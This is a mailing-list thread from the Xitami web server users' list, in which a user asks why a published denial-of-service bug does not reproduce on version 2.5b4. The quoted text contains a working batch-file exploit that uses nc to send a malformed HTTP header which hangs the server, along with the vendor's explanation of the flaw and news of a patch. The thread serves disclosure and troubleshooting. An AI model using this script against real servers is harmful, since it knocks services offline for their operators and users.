[Xitami] Xitami DOS reported

[xitami@lists.xitami.org]

Hello All,  :) :)

Several web pages were discovered, one of which came from the IETF Hypertext Transfer Protocol (HTTP) Working Group.

If I understand HTTP HEADERs correctly as an example a widely used HTTP HEADER is:

        GET /a_web_page.html HTTP/1.1
        Host: AwebSITE.com  (or IP address)
        Referer: LASTwebSITE.com


So, the line of code below that copies the string DOS to the http.tmp file should cause the DOS.

And, with Xitami V2.5b4 (bw3225b4.exe) the DOS does not occure.


Have I done something wrong or can V2.5b4 avoid the DOS???? I did not downloaded the source code for the V2.5b4 version.

Thanks for your time, help, and advise!!!!  :) :)

Jerry


-------------- Original message from jglong3@att.net: -------------- 
> 
> Hello Forum, :) ;| 
> 
> Sorry,,,,I forgot to mention that the effort in this case is to produce the DOS 
> and the version of Xitami is: 
> 
>           V2.5b4 
> 
 
> > > @echo off 
> > > :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
> > > :Application: Xitami Web Server 
> > > :Vendors: http://www.xitami.com/xiopen_2_5.zip 
> > > :Version: v2.5c1 
> > > :Platforms: Windows 
> > > :Bug: D.O.S 
> > > :Date: 2004-07-15 
> > > :Author: CoolICE 
> > > :e-mail: CoolICE#China.com 
> > > :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
> > > if '%1'=='' echo Usage:%0 target [port]&&goto :eof 
> > > set PORT=80 
> > > if not '%2'=='' set PORT=%2 
> > > for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc. 
> > > exe&&goto :eof 
> > > echo GET / HTTP/1.0>http.tmp 
> > > echo HOST: %1>>http.tmp 
> > > echo DOS>>http.tmp 
> > > echo.>>http.tmp 
> > > nc -w 10 %1 %PORT% < http.tmp 
> > > del http.tmp 
> > > -------------------------------------------------------------- 
> > > 
> > > The denial of service is this: a malformed header (without the ':') causes 
> the 
> > > server to enter an endless loop. 
> > > 
> > > This DOS affects all versions of Xitami. For those building from source, the 
> > > affected file is smthttpl.c, and the patch is in the function 
> > > http_parse_header: 
> > > 
> > > We are in the process of releasing new binaries, which will be on Xitami.com 
> > > in a very short while. 
> > > 
> > > -- 
> > > Pieter Hintjens 
> > > iMatix Corporation 
> > > 
> > 
> > 
> > -- 
> > Xitami Users Mailing List -- For Xitami support 
> > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami 
> 
> 
> -- 
> Xitami Users Mailing List -- For Xitami support 
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami